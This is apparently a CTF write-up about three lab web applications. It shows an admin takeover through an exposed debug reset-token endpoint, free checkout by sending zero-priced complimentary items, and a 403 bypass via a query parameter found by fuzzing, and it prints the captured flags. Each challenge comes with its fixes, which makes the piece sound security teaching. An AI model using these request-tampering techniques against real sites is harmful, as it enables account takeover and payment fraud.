Overview

The Vibe Security CTF consisted of three web-based challenges hosted on the same server:

  • A login system
  • A grocery shopping platform
  • A secure status portal

At first glance, everything appeared normal. However, each application contained a subtle misconfiguration that could be exploited using nothing more than a browser and curiosity.

No advanced exploits. No zero-days. Just poor security practices.

Challenge 1 — Admin Account Takeover (Debug API Leak)

Target: Login Portal (:3000) Core Idea: Debug API exposed reset token

What Happened?

While inspecting the frontend JavaScript (DevTools → Sources), the password reset request revealed:

POST /api/v1/send-reset-token

However, developers often leave newer API versions running alongside production.

Trying /api/v2 revealed an active endpoint.

Exploit

POST /api/v2/send-reset-token
username=admin

Response:

{
  "resetUrl": "http://.../reset-password?user=admin&token=XYZ"
}

Instead of emailing the reset link, the API returned it directly in the response.

Opening the link allowed password reset, leading to full admin access.

Root Cause

  • Debug endpoint deployed in production
  • Sensitive reset token exposed in API response

Fix

  • Remove debug APIs before deployment
  • Never expose tokens in responses
  • Use generic responses for password reset flows

Challenge 2 — Free Groceries (Business Logic Flaw)

Target: FreshMart (:8080) Core Idea: Server trusts client-side prices

What Happened?

The checkout request structure looked like:

{
  "cart_items": [...],
  "complimentary_items": [...]
}

The server accepted both arrays directly from the client.

Exploit

Modified request:

{
  "cart_items": [],
  "complimentary_items": [
    { "id": 4, "name": "Strawberry", "price": 0, "quantity": 1 }
  ]
}

Response:

{
  "total": 0,
  "flag": "FLAG{...}"
}

A ₹300 item was purchased for ₹0.

Root Cause

  • Server trusted client-provided pricing
  • No validation of complimentary items

Fix

  • Always fetch prices from the database
  • Never trust client input
  • Restrict complimentary items to server-side logic

Challenge 3 — Hidden Endpoint (403 Bypass)

Target: Secure Portal (:9090) Core Idea: Query parameter used as access control

Recon

Using a fuzzer:

ffuf -u http://target/FUZZ

Discovered:

/flag → 403 Forbidden

A 403 response does not necessarily mean the endpoint is secure.

Exploit

/flag?display=true

Response:

ACCESS GRANTED
FLAG{...}

Root Cause

  • Access control implemented via query parameter
  • Reliance on obscurity instead of proper authentication

Fix

  • Use authentication and authorization mechanisms
  • Avoid relying on URL parameters for access control

Final Takeaways

All three vulnerabilities stem from the same fundamental issue:

Trusting input that should never be trusted.

  • Client-side data must always be validated server-side
  • Debug and test features should never reach production
  • Security should never rely on hidden parameters

For Developers

  • Do not deploy debug endpoints
  • Never trust client-side data
  • Avoid query-based access control
  • Test applications from an attacker's perspective

For Pentesters

  • Inspect frontend JavaScript carefully
  • Treat 403 responses as potential entry points
  • Fuzz endpoints, parameters, and API versions
  • Analyze checkout flows for business logic flaws

Flags Captured

Challenge 1 → FLAG{P@$$_R3537_4DM1N_74CK0V3R}
Challenge 2 → FLAG{fr33_gr0c3r13s_l0g1c_fl4w}
Challenge 3 → FLAG{h1dd3n_3ndp01n7_d15c0v3r3d_p4ramp4m}